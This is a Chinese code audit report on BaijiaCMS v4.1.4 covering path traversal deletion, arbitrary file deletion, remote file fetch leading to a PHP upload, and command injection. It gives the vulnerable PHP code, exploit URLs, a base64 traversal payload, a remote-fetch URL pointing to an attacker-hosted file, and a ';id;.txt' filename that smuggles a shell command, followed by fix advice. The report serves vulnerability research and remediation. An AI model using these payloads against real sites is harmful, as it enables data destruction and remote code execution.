百家CMS v4.1.4代码审计
字数 1439 2025-08-05 00:15:08

百家CMS v4.1.4代码审计报告

环境搭建

  1. 源码下载地址:https://gitee.com/openbaijia/baijiacms.git
  2. 部署环境:PHPstudy
  3. 数据库配置:创建名为baijiacms的数据库
  4. 安装设置:管理员用户名和密码均为admin

审计准备

目录结构分析

通过查看网站目录结构了解系统架构

使用工具

  • Seay源代码审计系统进行初步扫描

漏洞分析

1. 任意路径删除漏洞

漏洞位置

  • /includes/baijiacms/common.inc.php (520-547行)
  • /system/menager/class/web/database.php (246-255行)

漏洞代码分析

function rmdirs($path='',$isdir=false) {
    if(is_dir($path)) {
        $file_list= scandir($path);
        foreach ($file_list as $file) {
            if($file!='.' && $file!='..') {
                if($file!='qrcode') {
                    rmdirs($path.'/'.$file,true);
                }
            }
        }
        if($path!=WEB_ROOT.'/cache/') {
            @rmdir($path);   
        }    
    } else {
        @unlink($path); 
    }
}

漏洞利用点

  1. database.php中调用rmdirs函数时未对路径进行严格验证
  2. 通过base64编码的id参数传递路径

漏洞复现步骤

  1. 在根目录创建测试文件夹test
  2. 进入后台"备份与还原"页面
  3. 点击删除并抓包
  4. 修改id参数为../../test的base64编码Li4vLi4vdGVzdA==
  5. 发送请求,成功删除目标文件夹

2. 任意文件删除漏洞

漏洞位置

  • /system/eshop/core/mobile/util/uploader.php (46-50行)
  • /includes/baijiacms/common.inc.php (695-734行)

漏洞代码分析

function file_delete($file_relative_path) {
    if(empty($file_relative_path)) return true;
    
    // 省略FTP和OSS处理部分...
    
    if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
        unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
        return true;
    }
    return true;
}

漏洞利用点

  1. 通过file参数传递相对路径
  2. 使用../进行目录遍历

漏洞复现步骤

  1. 在根目录创建测试文件test.txt
  2. 构造URL:
    http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt
    
  3. 访问该URL,成功删除目标文件

3. 远程文件上传漏洞

漏洞位置

  • /system/public/class/web/file.php (18-26行)
  • /includes/baijiacms/common.inc.php (613-616行)

漏洞代码分析

function fetch_net_file_upload($url) {
    $extention = pathinfo($url,PATHINFO_EXTENSION);
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');
    
    mkdirs(WEB_ROOT . $path . $extpath);
    do {
        $filename = random(15) . ".{$extention}";
    } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));

    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
    $file_relative_path = $extpath. $filename;
    
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失败.';
        return $result;
    }
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

漏洞利用点

  1. 通过url参数获取远程文件内容
  2. 仅检查文件扩展名,不检查文件内容

漏洞复现步骤

  1. 在远程服务器上创建恶意文件test.php,内容为<?php echo "<?php phpinfo();";
  2. 构造URL:
    http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://远程IP/test.php
    
  3. 访问后获取写入路径
  4. 访问上传的文件,验证执行成功

4. 远程命令执行漏洞

漏洞位置

  • /system/weixin/class/web/setting.php (20-40行)
  • /includes/baijiacms/common.inc.php (637-655行)

漏洞代码分析

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) {
    if(!file_move($file_tmp_name, $file_full_path)) {
        return error(-1, '保存上传文件失败');
    }
    
    if(!empty($settings['image_compress_openscale'])) {
        $scal=$settings['image_compress_scale'];
        $quality_command='';
        if(intval($scal)>0) {
            $quality_command=' -quality '.intval($scal);
        }
        system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
    }
    // ...
}

漏洞利用点

  1. 上传文件后直接使用system()执行命令
  2. 文件名可控,可构造恶意文件名实现命令注入

漏洞复现步骤

  1. 创建一个名为;id;.txt的文件(包含要执行的命令)
  2. 在微信设置页面找到上传功能
  3. 上传该文件
  4. 系统会执行文件中的命令

修复建议

  1. 任意路径/文件删除漏洞

    • 严格验证用户输入的路径
    • 限制删除操作的范围
    • 添加权限检查
  2. 远程文件上传漏洞

    • 检查文件内容而不仅是扩展名
    • 限制可访问的远程URL
    • 实现文件内容白名单机制
  3. 远程命令执行漏洞

    • 避免直接使用system()等危险函数
    • 对文件名进行严格过滤
    • 使用更安全的替代函数如escapeshellarg()
  4. 通用建议

    • 实现严格的输入验证
    • 遵循最小权限原则
    • 定期进行安全审计和代码审查
百家CMS v4.1.4代码审计报告 环境搭建 源码下载地址:https://gitee.com/openbaijia/baijiacms.git 部署环境:PHPstudy 数据库配置:创建名为 baijiacms 的数据库 安装设置:管理员用户名和密码均为 admin 审计准备 目录结构分析 通过查看网站目录结构了解系统架构 使用工具 Seay源代码审计系统进行初步扫描 漏洞分析 1. 任意路径删除漏洞 漏洞位置 : /includes/baijiacms/common.inc.php (520-547行) /system/menager/class/web/database.php (246-255行) 漏洞代码分析 : 漏洞利用点 : 在 database.php 中调用 rmdirs 函数时未对路径进行严格验证 通过base64编码的 id 参数传递路径 漏洞复现步骤 : 在根目录创建测试文件夹 test 进入后台"备份与还原"页面 点击删除并抓包 修改 id 参数为 ../../test 的base64编码 Li4vLi4vdGVzdA== 发送请求,成功删除目标文件夹 2. 任意文件删除漏洞 漏洞位置 : /system/eshop/core/mobile/util/uploader.php (46-50行) /includes/baijiacms/common.inc.php (695-734行) 漏洞代码分析 : 漏洞利用点 : 通过 file 参数传递相对路径 使用 ../ 进行目录遍历 漏洞复现步骤 : 在根目录创建测试文件 test.txt 构造URL: 访问该URL,成功删除目标文件 3. 远程文件上传漏洞 漏洞位置 : /system/public/class/web/file.php (18-26行) /includes/baijiacms/common.inc.php (613-616行) 漏洞代码分析 : 漏洞利用点 : 通过 url 参数获取远程文件内容 仅检查文件扩展名,不检查文件内容 漏洞复现步骤 : 在远程服务器上创建恶意文件 test.php ,内容为 <?php echo "<?php phpinfo();"; 构造URL: 访问后获取写入路径 访问上传的文件,验证执行成功 4. 远程命令执行漏洞 漏洞位置 : /system/weixin/class/web/setting.php (20-40行) /includes/baijiacms/common.inc.php (637-655行) 漏洞代码分析 : 漏洞利用点 : 上传文件后直接使用 system() 执行命令 文件名可控,可构造恶意文件名实现命令注入 漏洞复现步骤 : 创建一个名为 ;id;.txt 的文件(包含要执行的命令) 在微信设置页面找到上传功能 上传该文件 系统会执行文件中的命令 修复建议 任意路径/文件删除漏洞 : 严格验证用户输入的路径 限制删除操作的范围 添加权限检查 远程文件上传漏洞 : 检查文件内容而不仅是扩展名 限制可访问的远程URL 实现文件内容白名单机制 远程命令执行漏洞 : 避免直接使用 system() 等危险函数 对文件名进行严格过滤 使用更安全的替代函数如 escapeshellarg() 通用建议 : 实现严格的输入验证 遵循最小权限原则 定期进行安全审计和代码审查